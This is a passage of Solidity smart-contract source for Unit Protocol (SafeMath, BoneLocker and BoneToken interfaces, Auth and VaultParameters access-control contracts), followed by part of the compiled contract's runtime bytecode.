b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; /** * @dev BoneToken locker contract interface */ interface IBoneLocker { function lockInfoByUser(address, uint256) external view returns (uint256, uint256, bool); function lockingPeriod() external view returns (uint256); // function to claim all the tokens locked for a user, after the locking period function claimAllForUser(uint256 r, address user) external; // function to claim all the tokens locked by user, after the locking period function claimAll(uint256 r) external; // function to get claimable amount for any user function getClaimableAmount(address _user) external view returns(uint256); // get the left and right headers for a user, left header is the index counter till which we have already iterated, right header is basically the length of user's lockInfo array function getLeftRightCounters(address _user) external view returns(uint256, uint256); function lock(address _holder, uint256 _amount, bool _isDev) external; function setLockingPeriod(uint256 _newLockingPeriod, uint256 _newDevLockingPeriod) external; function emergencyWithdrawOwner(address _to) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IBoneToken is IERC20 { function mint(address _to, uint256 _amount) external; } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; /** * @title Auth * @dev Manages USDP's system access **/ contract Auth { // address of the the contract with vault parameters VaultParameters public vaultParameters; constructor(address _parameters) { vaultParameters = VaultParameters(_parameters); } // ensures tx's sender is a manager modifier onlyManager() { require(vaultParameters.isManager(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is able to modify the Vault modifier hasVaultAccess() { require(vaultParameters.canModifyVault(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is the Vault modifier onlyVault() { require(msg.sender == vaultParameters.vault(), "Unit Protocol: AUTH_FAILED"); _; } } /** * @title VaultParameters **/ contract VaultParameters is Auth { // map token to stability fee percentage; 3 decimals mapping(address => uint) public stabilityFee; // map token to liquidation fee percentage, 0 decimals mapping(address => uint) public liquidationFee; // map token to USDP mint limit mapping(address => uint) public tokenDebtLimit; // permissions to modify the Vault mapping(address => bool) public canModifyVault; // managers mapping(address => bool) public isManager; // enabled oracle types mapping(uint => mapping (address => bool)) public isOracleTypeEnabled; // address of the Vault address payable public vault; // The foundation address address public foundation; /** * The address for an Ethereum contract is deterministically computed from the address of its creator (sender) * and how many transactions the creator has sent (nonce). The sender and nonce are RLP encoded and then * hashed with Keccak-256. * Therefore, the Vault address can be pre-computed and passed as an argument before deployment. **/ constructor(address payable _vault, address _foundation) Auth(address(this)) { require(_vault != address(0), "Unit Protocol: ZERO_ADDRESS"); require(_foundation != address(0), "Unit Protocol: ZERO_ADDRESS"); isManager[msg.sender] = true; vault = _vault; foundation = _foundation; } /** * @notice Only manager is able to call this function * @dev Grants and revokes manager's status of any address * @param who The target address * @param permit The permission flag **/ function setManager(address who, bool permit) external onlyManager { isManager[who] = permit; } /** * @notice Only manager is able to call this function * @dev Sets the foundation address * @param newFoundation The new foundation address **/ function setFoundation(address newFoundation) external onlyManager { require(newFoundation != address(0), "Unit Protocol: ZERO_ADDRESS"); foundation = newFoundation; } /** * @notice Only manager is able to call this function * @dev Sets ability to use token as the main collateral * @param asset The address of the main collateral token * @param stabilityFeeValue The percentage of the year stability fee (3 decimals) * @param liquidationFeeValue The liquidation fee percentage (0 decimals) * @param usdpLimit The USDP token issue limit * @param oracles The enables oracle types **/ function setCollateral( address asset, uint stabilityFeeValue, uint liquidationFeeValue, uint usdpLimit, uint[] calldata oracles ) external onlyManager { setStabilityFee(asset, stabilityFeeValue); setLiquidationFee(asset, liquidationFeeValue); setTokenDebtLimit(asset, usdpLimit); for (uint i=0; i < oracles.length; i++) { setOracleType(oracles[i], asset, true); } } /** * @notice Only manager is able to call this function * @dev Sets a permission for an address to modify the Vault * @param who The target address * @param permit The permission flag **/ function setVaultAccess(address who, bool permit) external onlyManager { canModifyVault[who] = permit; } /** * @notice Only manager is able to call this function * @dev Sets the percentage of the year stability fee for a particular collateral * @param asset The address of the main collateral token * @param newValue The stability fee percentage (3 decimals) **/ function setStabilityFee(address asset, uint newValue) public onlyManager { stabilityFee[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the percentage of the liquidation fee for a particular collateral * @param asset The address of the main collateral token * @param newValue The liquidation fee percentage (0 decimals) **/ function setLiquidationFee(address asset, uint newValue) public onlyManager { require(newValue <= 100, "Unit Protocol: VALUE_OUT_OF_RANGE"); liquidationFee[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Enables/disables oracle types * @param _type The type of the oracle * @param asset The address of the main collateral token * @param enabled The control flag **/ function setOracleType(uint _type, address asset, bool enabled) public onlyManager { isOracleTypeEnabled[_type][asset] = enabled; } /** * @notice Only manager is able to call this function * @dev Sets USDP limit for a specific collateral * @param asset The address of the main collateral token * @param limit The limit number **/ function setTokenDebtLimit(address asset, uint limit) public onlyManager { tokenDebtLimit[asset] = limit; } }
0x608060405234801561001057600080fd5b50600436106102275760003560e01c8063a457c2d711610130578063db2e21bc116100b8578063f3fef3a31161007c578063f3fef3a31461075c578063f40f0f5214610788578063f5275b5c146107ae578063fb1e738014610835578063fbfa77cf1461083d57610227565b8063db2e21bc146106cc578063dd62ed3e146106d4578063ee719bc814610702578063efdcd9741461070a578063f0d62df11461073057610227565b8063b7753a56116100ff578063b7753a5614610577578063c1a37ccb1461057f578063ca04cc7914610587578063cb122a0914610686578063d279c191146106a657610227565b8063a457c2d71461050f578063a9059cbb1461053b578063aca345ee14610567578063b3f006741461056f57610227565b80634d331204116101b35780637fd6f15c116101825780637fd6f15c1461048d5780638d4f0b6c1461049557806395d89b411461049d57806398c07433146104a55780639e281a98146104e357610227565b80634d3312041461042157806362c5ab45146104575780636baef2121461045f57806370a082311461046757610227565b8063262ac4bf116101fa578063262ac4bf14610339578063313ce5671461037b57806339509351146103995780633b8de0bb146103c557806347e7ef24146103f357610227565b806306fdde031461022c578063095ea7b3146102a957806318160ddd146102e957806323b872dd14610303575b600080fd5b610234610845565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026e578181015183820152602001610256565b50505050905090810190601f16801561029b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d5600480360360408110156102bf57600080fd5b506001600160a01b0381351690602001356108db565b604080519115158252519081900360200190f35b6102f16108f9565b60408051918252519081900360200190f35b6102d56004803603606081101561031957600080fd5b506001600160a01b038135811691602081013590911690604001356108ff565b61035f6004803603602081101561034f57600080fd5b50356001600160a01b0316610986565b604080516001600160a01b039092168252519081900360200190f35b6103836109a1565b6040805160ff9092168252519081900360200190f35b6102d5600480360360408110156103af57600080fd5b506001600160a01b0381351690602001356109aa565b6102f1600480360360408110156103db57600080fd5b506001600160a01b03813581169160200135166109f8565b61041f6004803603604081101561040957600080fd5b506001600160a01b038135169060200135610abd565b005b61041f6004803603606081101561043757600080fd5b506001600160a01b03813581169160208101359091169060400135610cfb565b6102f16110c9565b61035f6110ed565b6102f16004803603602081101561047d57600080fd5b50356001600160a01b0316611111565b610383611130565b61035f611140565b610234611164565b61041f600480360360608110156104bb57600080fd5b506001600160a01b03813516906001600160e01b0319602082013516906040013515156111c5565b61041f600480360360408110156104f957600080fd5b506001600160a01b03813516906020013561137d565b6102d56004803603604081101561052557600080fd5b506001600160a01b0381351690602001356114b0565b6102d56004803603604081101561055157600080fd5b506001600160a01b038135169060200135611518565b61035f61152c565b61035f611550565b61035f61155f565b6102f1611583565b6106056004803603604081101561059d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105c757600080fd5b8201836020820111156105d957600080fd5b803590602001918460018302840111600160201b831117156105fa57600080fd5b5090925090506115a7565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561064a578181015183820152602001610632565b50505050905090810190601f1680156106775780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61041f6004803603602081101561069c57600080fd5b503560ff166117f9565b61041f600480360360208110156106bc57600080fd5b50356001600160a01b0316611961565b61041f611a88565b6102f1600480360360408110156106ea57600080fd5b506001600160a01b0381358116916020013516611bf5565b61035f611c20565b61041f6004803603602081101561072057600080fd5b50356001600160a01b0316611cd9565b61041f6004803603604081101561074657600080fd5b506001600160a01b038135169060200135611dfe565b61041f6004803603604081101561077257600080fd5b506001600160a01b038135169060200135611eec565b6102f16004803603602081101561079e57600080fd5b50356001600160a01b031661213f565b610605600480360360608110156107c457600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b8111156107f757600080fd5b82018360208201111561080957600080fd5b803590602001918460018302840111600160201b8311171561082a57600080fd5b5090925090506121fb565b61041f61238e565b61035f612441565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108d15780601f106108a6576101008083540402835291602001916108d1565b820191906000526020600020905b8154815290600101906020018083116108b457829003601f168201915b5050505050905090565b60006108ef6108e8612465565b8484612469565b5060015b92915050565b60025490565b600061090c848484612555565b61097c84610918612465565b61097785604051806060016040528060288152602001612fc5602891396001600160a01b038a16600090815260016020526040812090610956612465565b6001600160a01b0316815260208101919091526040016000205491906126db565b612469565b5060019392505050565b6007602052600090815260409020546001600160a01b031681565b60055460ff1690565b60006108ef6109b7612465565b8461097785600160006109c8612465565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612772565b6001600160a01b0380831660009081526007602052604081205490911680610a245760009150506108f3565b6009546040805163ad3b997560e01b81526001600160a01b0386811660048301528084166024830152600160a01b90930460ff16604482015290519183169163ad3b997591606480820192602092909190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b5051949350505050565b60026006541415610b03576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065580610b445760405162461bcd60e51b815260040180806020018281038252602c815260200180613016602c913960400191505060405180910390fd5b336001600160a01b0383161480610be857506040805162db063b60e41b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d1691630db063b0916024808301926020929190829003018186803b158015610bbb57600080fd5b505afa158015610bcf573d6000803e3d6000fd5b505050506040513d6020811015610be557600080fd5b50515b610c235760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b6000610c2d611c20565b90506000610c3b84836127d3565b9050610c49828583866128b8565b806001600160a01b031663b6b55f25846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610c8f57600080fd5b505af1158015610ca3573d6000803e3d6000fd5b50505050610cb18484612a14565b6040805184815290516001600160a01b038616917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a2505060016006555050565b60026006541415610d41576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556040805162db063b60e41b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d1691630db063b0916024808301926020929190829003018186803b158015610dab57600080fd5b505afa158015610dbf573d6000803e3d6000fd5b505050506040513d6020811015610dd557600080fd5b5051610e16576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b7f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316836001600160a01b031614158015610e8a57507f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316826001600160a01b031614155b610ec55760405162461bcd60e51b8152600401808060200182810382526033815260200180612f1b6033913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b03161480610ee3575080155b15610eed576110bf565b6000610ef7611c20565b90506000610f0485612b04565b90506000610f1285846127d3565b9050816001600160a01b03166369328dec8486846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b031681526020019350505050600060405180830381600087803b158015610f7c57600080fd5b505af1158015610f90573d6000803e3d6000fd5b50505050806001600160a01b031663b6b55f25856040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610fda57600080fd5b505af1158015610fee573d6000803e3d6000fd5b50506040805187815290516001600160a01b038a1693507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436492509081900360200190a26040805185815290516001600160a01b038716917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a2846001600160a01b0316866001600160a01b03167fb282ff7423bca0f2318e0b1455c0e0f7e9cdcd221806290929dc90e2a5989c47866040518082815260200191505060405180910390a35050505b5050600160065550565b7fa6caa52b2c1b13747d175856f83c9221321ba4c5ae61f5477a06383d618efb1c81565b7f00000000000000000000000094235659cf8b805b2c658f9ea2d6d6ddbb17c8d781565b6001600160a01b0381166000908152602081905260409020545b919050565b600954600160a01b900460ff1681565b7f00000000000000000000000022531cfe5920cba72b9ca0b8823f9a0509e1401c81565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108d15780601f106108a6576101008083540402835291602001916108d1565b6040805163f3ae241560e01b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d169163f3ae2415916024808301926020929190829003018186803b15801561122b57600080fd5b505afa15801561123f573d6000803e3d6000fd5b505050506040513d602081101561125557600080fd5b5051611296576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b6001600160a01b03831660009081526008602090815260408083206001600160e01b0319861684529091529020805460ff1916821580159190911790915561132a57604080516001600160a01b03851681526001600160e01b03198416602082015281517f87f45b652d0ecbbdf176500e6a314eceb14ef4bac6866cf3158f895c5a3ac762929181900390910190a1611378565b604080516001600160a01b03851681526001600160e01b03198416602082015281517f01a0fd27aa255ce2542d60aeeaa1696a6d93c9070f3c1acfe0083b10e1af4df4929181900390910190a15b505050565b600260065414156113c3576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065560006113d333612b04565b6009546040805162b32d2b60e21b81526001600160a01b038781166004830152336024830152604482018790528084166064830152600160a01b90930460ff1660848201529051929350908316916302ccb4ac9160a48082019260009290919082900301818387803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b5050604080516001600160a01b03871681526020810186905281513394507f7b2929a0129e91c002be982e70bea0ff69b1dda1722507dc5b60490b134a985b93509081900390910190a25050600160065550565b60006108ef6114bd612465565b84610977856040518060600160405280602581526020016130f060259139600160006114e7612465565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906126db565b60006108ef611525612465565b8484612555565b7f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d81565b6009546001600160a01b031681565b7f0000000000000000000000009813037ee2218799597d83d4a5b6f3b6778218d981565b7f000000000000000000000000000000000000000000000000000000000000000481565b60006060600260065414156115f1576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556001600160a01b038516600090815260086020908152604080832087356001600160e01b03198116855292529091205460ff166116645760405162461bcd60e51b8152600401808060200182810382526032815260200180612ee96032913960400191505060405180910390fd5b600061166f33612b04565b9050806001600160a01b031663ca04cc798888886040518463ffffffff1660e01b815260040180846001600160a01b03168152602001806020018281038252848482818152602001925080828437600081840152601f19601f820116905080830192505050945050505050600060405180830381600087803b1580156116f457600080fd5b505af1158015611708573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561173157600080fd5b815160208301805160405192949293830192919084600160201b82111561175757600080fd5b90830190602082018581111561176c57600080fd5b8251600160201b81118282018810171561178557600080fd5b82525081516020918201929091019080838360005b838110156117b257818101518382015260200161179a565b50505050905090810190601f1680156117df5780820380516001836020036101000a031916815260200191505b506040525050600160065550909890975095505050505050565b6040805163f3ae241560e01b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d169163f3ae2415916024808301926020929190829003018186803b15801561185f57600080fd5b505afa158015611873573d6000803e3d6000fd5b505050506040513d602081101561188957600080fd5b50516118ca576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b60328160ff16111561190d5760405162461bcd60e51b8152600401808060200182810382526029815260200180612f9c6029913960400191505060405180910390fd5b6009805460ff8316600160a01b810260ff60a01b199092169190911790915560408051918252517f6bbc57480a46553fa4d156ce702beef5f3ad66303b0ed1a5d4cb44966c6584c39181900360200190a150565b600260065414156119a7576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556001600160a01b03811633146119f35760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b60006119fe82612b04565b60095460408051635c55228560e01b81526001600160a01b0386811660048301528084166024830152600160a01b90930460ff166044820152905192935090831691635c5522859160648082019260009290919082900301818387803b158015611a6757600080fd5b505af1158015611a7b573d6000803e3d6000fd5b5050600160065550505050565b60026006541415611ace576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556000611ade33612b04565b90506000816001600160a01b031663322ba9f36040518163ffffffff1660e01b815260040160206040518083038186803b158015611b1b57600080fd5b505afa158015611b2f573d6000803e3d6000fd5b505050506040513d6020811015611b4557600080fd5b50519050611b533382612b5b565b611b5c33611111565b15611b6357fe5b816001600160a01b031663db2e21bc6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611b9e57600080fd5b505af1158015611bb2573d6000803e3d6000fd5b50506040805184815290513393507f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd969592509081900360200190a250506001600655565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000807f00000000000000000000000094235659cf8b805b2c658f9ea2d6d6ddbb17c8d76001600160a01b0316631526fe277f00000000000000000000000000000000000000000000000000000000000000046040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b158015611ca757600080fd5b505afa158015611cbb573d6000803e3d6000fd5b505050506040513d6080811015611cd157600080fd5b505191505090565b6040805163f3ae241560e01b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d169163f3ae2415916024808301926020929190829003018186803b158015611d3f57600080fd5b505afa158015611d53573d6000803e3d6000fd5b505050506040513d6020811015611d6957600080fd5b5051611daa576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b600980546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f647672599d3468abcfa241a13c9e3d34383caadb5cc80fb67c3cdfcd5f7860599181900360200190a150565b60026006541415611e44576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556000611e5433612b04565b600954604080516364da976d60e11b81523360048201526001600160a01b038781166024830152604482018790528084166064830152600160a01b90930460ff16608482015290519293509083169163c9b52eda9160a48082019260009290919082900301818387803b158015611eca57600080fd5b505af1158015611ede573d6000803e3d6000fd5b505060016006555050505050565b60026006541415611f32576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065580611f735760405162461bcd60e51b815260040180806020018281038252602c815260200180613016602c913960400191505060405180910390fd5b336001600160a01b038316148061201757506040805162db063b60e41b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d1691630db063b0916024808301926020929190829003018186803b158015611fea57600080fd5b505afa158015611ffe573d6000803e3d6000fd5b505050506040513d602081101561201457600080fd5b50515b6120525760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b600061205c611c20565b9050600061206984612b04565b90506120758484612b5b565b806001600160a01b03166369328dec8385876040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b031681526020019350505050600060405180830381600087803b1580156120dd57600080fd5b505af11580156120f1573d6000803e3d6000fd5b50506040805186815290516001600160a01b03881693507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436492509081900360200190a2505060016006555050565b6001600160a01b038082166000908152600760205260408120549091168061216b57600091505061112b565b6009546040805163fbe32b3560e01b81526001600160a01b038084166004830152600160a01b90930460ff16602482015290519183169163fbe32b3591604480820192602092909190829003018186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d60208110156121f257600080fd5b50519392505050565b60006060600061220a87612b04565b9050806001600160a01b0316638aae18c08787876040518463ffffffff1660e01b815260040180846001600160a01b03168152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505094505050505060006040518083038186803b15801561228d57600080fd5b505afa1580156122a1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156122ca57600080fd5b815160208301805160405192949293830192919084600160201b8211156122f057600080fd5b90830190602082018581111561230557600080fd5b8251600160201b81118282018810171561231e57600080fd5b82525081516020918201929091019080838360005b8381101561234b578181015183820152602001612333565b50505050905090810190601f1680156123785780820380516001836020036101000a031916815260200191505b5060405250929a91995090975050505050505050565b600260065414156123d4576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065560006123e433612b04565b905060006123f0611c20565b9050816001600160a01b031663b40a716f826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015611a6757600080fd5b7f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf1981565b3390565b6001600160a01b0383166124ae5760405162461bcd60e51b81526004018080602001828103825260248152602001806130886024913960400191505060405180910390fd5b6001600160a01b0382166124f35760405162461bcd60e51b8152600401808060200182810382526022815260200180612ec76022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b7f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d6001600160a01b031663fbfa77cf6040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ae57600080fd5b505afa1580156125c2573d6000803e3d6000fd5b505050506040513d60208110156125d857600080fd5b50516001600160a01b03163314612624576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b7f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316836001600160a01b0316148061269557507f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316826001600160a01b0316145b6126d05760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b611378838383612c57565b6000818484111561276a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561272f578181015183820152602001612717565b50505050905090810190601f16801561275c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156127cc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0380831660009081526007602052604090205416806108f35761281c7f00000000000000000000000022531cfe5920cba72b9ca0b8823f9a0509e1401c612db2565b9050806001600160a01b031663b40a716f836040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561286d57600080fd5b505af1158015612881573d6000803e3d6000fd5b505050506001600160a01b03928316600090815260076020526040902080546001600160a01b031916938216939093179092555090565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b6020831061293c5780518252601f19909201916020918201910161291d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461299e576040519150601f19603f3d011682016040523d82523d6000602084013e6129a3565b606091505b50915091508180156129d15750805115806129d157508080602001905160208110156129ce57600080fd5b50515b612a0c5760405162461bcd60e51b81526004018080602001828103825260248152602001806130cc6024913960400191505060405180910390fd5b505050505050565b6001600160a01b038216612a6f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b612a7b60008383611378565b600254612a889082612772565b6002556001600160a01b038216600090815260208190526040902054612aae9082612772565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03808216600090815260076020526040902054168061112b5760405162461bcd60e51b8152600401808060200182810382526028815260200180612f746028913960400191505060405180910390fd5b6001600160a01b038216612ba05760405162461bcd60e51b81526004018080602001828103825260218152602001806130426021913960400191505060405180910390fd5b612bac82600083611378565b612be981604051806060016040528060228152602001612ea5602291396001600160a01b03851660009081526020819052604090205491906126db565b6001600160a01b038316600090815260208190526040902055600254612c0f9082612e04565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038316612c9c5760405162461bcd60e51b81526004018080602001828103825260258152602001806130636025913960400191505060405180910390fd5b6001600160a01b038216612ce15760405162461bcd60e51b8152600401808060200182810382526023815260200180612e626023913960400191505060405180910390fd5b612cec838383611378565b612d2981604051806060016040528060268152602001612f4e602691396001600160a01b03861660009081526020819052604090205491906126db565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612d589082612772565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b600082821115612e5b576040805162461bcd60e51b8152602060048